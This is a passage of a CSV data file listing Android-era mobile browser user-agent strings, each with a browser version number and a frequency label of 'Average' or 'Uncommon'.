Release/5.25.2013 Browser/AppleWebKit534.30 Build/MocorDroid4.0.3) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; tr-tr; GT-I8160 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SAMSUNG-SGH-I717 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.4; pt-br; SM-G530H Build/KTU84P) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-; SAMSUNG-SGH-I727 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; new Madison Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; sv-se; ST21i Build/11.0.A.4.22) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-P7500 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; YP-G70 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.3; de-de; GT-I9300 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I9300 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-I9082 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; ZTE-Z993 Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\nLenovo-A398t_TD/S100 Linux/3.0.8 Android/4.0.3 Release/03.12.2013 Browser/AppleWebkit534.30 Mobile Safari/534.30,,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; Kurio7S Build/120a) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; SAMSUNG-SGH-I337 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; ZTE-Z990G Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; ar-ae; GT-P7500 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; CLP285 Build/JRO03H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; LG-MS910 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SPH-D710 Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; LG-P925/V10e Build/FRG83G) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; MZ505 Build/Moto_MZ505) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; LG-E980/E98010k Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; LG-E980/E98010p Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; Digitac Ultratab;C725 Build/ICS) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; HTC_PO58220/1.32.502.3 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SGH-I927 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I8160 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.1; en-us; pandigitalsprnova1/sourceidDL00000025) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-gb; GT-S7500 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; GT-S5830i Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; G2 Build/ICS.Trio_Stealth_G2.20130321) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; es-es; GT-I8160P Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; LGL86C/V100 Build/IMM76L) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-ca; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SCH-I110 Build/FJ1) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; XT603 Build/5.5.1Q-117_PAX-69) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; SM-N900T Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-au; GT-I9100 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; SCH-R530M Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; SAMSUNG-SGH-I747 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; es-us; GT-I9070 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; C5121 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; ar-ae; GT-I9082 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; HTC-PG762 Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; HTC_PO58220/3.10.502.3 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; Micromax A47 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; id-id; Andromax AD682J Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 3.0.1; en-us; GT-P7100 Build/HRI83) AppleWebkit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; vi-vn; GT-S5360 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; Transformer Prime TF201 Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; pt-br; LG-E615f Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; es-us; HTC_C525c Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\nDDG-Android-3.0.12,,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; AT1S0 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SCH-R830 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 USCC-R830\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SAMSUNG-SGH-I577 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.3; en-us; Droid Build/FRK76) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; HUAWEI H868C Build/HuaweiH868C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.1; en-us; SGH-T959V Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; SAMSUNG-SGH-I747 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; GT-I9300 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.4; en-gb; SM-G357FZ Build/KTU84P) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; SM-T217T Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; Galaxy Nexus Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; he-il; GT-I9100 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; LG-VS700 Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; ME172V Build/JRO03H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; ADR6410LVW 4G Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; Citycall i930+ Build/MocorDroid2.3.5_W12.20_P20.01_TROUT_P9) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; XT557 Build/V1.65K) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; HTC6500LVW 4G Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; NABIJR-NV5B Build/JZO54L) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.4; en-gb; SM-G360H Build/KTU84P) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; pt-br; GT-I9063T Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; es-us; HUAWEI Y330-U05 Build/HuaweiY330-U05) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T999 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; Arc Build/JRO03L) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-gb; SM-T310 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; GT-P6210 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; HTC Vision Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; pt-br; GT-I9082L Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I9100 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; ru-ru; GT-P3110 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T999N Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SAMSUNG-SGH-I467 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.3; en-gb; GT-I9100 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-gb; GT-S5570 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 1.6; en-us; xpndr_ihome Build/DRD35) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\",3.1,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T699 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-ca; SGH-I727R Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; es-sa; LG-E612g Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SAMSUNG-SGH-I927 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SPH-L710 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-au; GT-N8010 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-ca; SGH-T999V Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; es-us; Huawei Y301A1 Build/HuaweiY301A1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; GT-P5113 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; A100 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.1; en-us; ASUS Transformer Pad TF300T Build/JOP40D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; fr-fr; GT-S5360 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; Galaxy Nexus Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SPH-M580BST Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3; en-us) AppleWebKit/999+ (KHTML, like Gecko) Safari/999.9\",,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-gb; SonyC1905 Build/15.4.A.1.9) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; SGH-T889 Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; KFTHWI Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; ADR6400L 4G Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; AT300SE Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; C5120 Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-gb; GT-I9100 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; SGH-T759 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; HP Slate 7 Build/JRO03H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; DROID RAZR 4G Build/6.7.2-180_DHD-16_M4-31) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SPH-M830 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 3.1; en-us; Xoom Build/HMJ25) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; es-us; SM-G355M Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; ZTE-Z995 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-au; GT-I9300 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-gb; GT-I9100 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; es-es; LG-E460/V10f Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; es-mx; LGMS500 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.1; sv-se; GT-S5660 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2;en-gb; Lenovo B8000-F/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.2.2 Mobile Safari/534.30\",4.2,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; Kurio10S Build/C13300US108a) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; LG-L40G/V100 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; in-id; Tabulet Sparta Build/GRJ90) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; HTC_C715c Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; es-us; ONE TOUCH 4007A Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; ro-ro; GT-I9100 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413\",,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-gb; HUAWEI Y300-0100 Build/HuaweiY300-0100) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2; en-us; Droid Build/FRG22D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\nDalvik/2.1.0 (Linux; U; Android 5.0.2; SM-T530 Build/LRX22G),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; Xoom Build/JZO54M) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; es-us; GT-S5301L Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; Gigaset QV830 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\nDalvik/1.6.0 (Linux; U; Android 4.4.2; SPH-L710 Build/KOT49H),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SCH-R920 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; pt-br; GT-S5303B Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.1; en-us; LG-MS690 Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; HTC_0P9O110/1.54.502.15 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; Huawei-H867G Build/HuaweiH867G) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; SCH-I535 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; DROID4 Build/9.8.2O-72_VZW-18-9) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; PJ83100/3.18.502.9 Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; in-id; GT-S5360 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; VS840 4G Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile 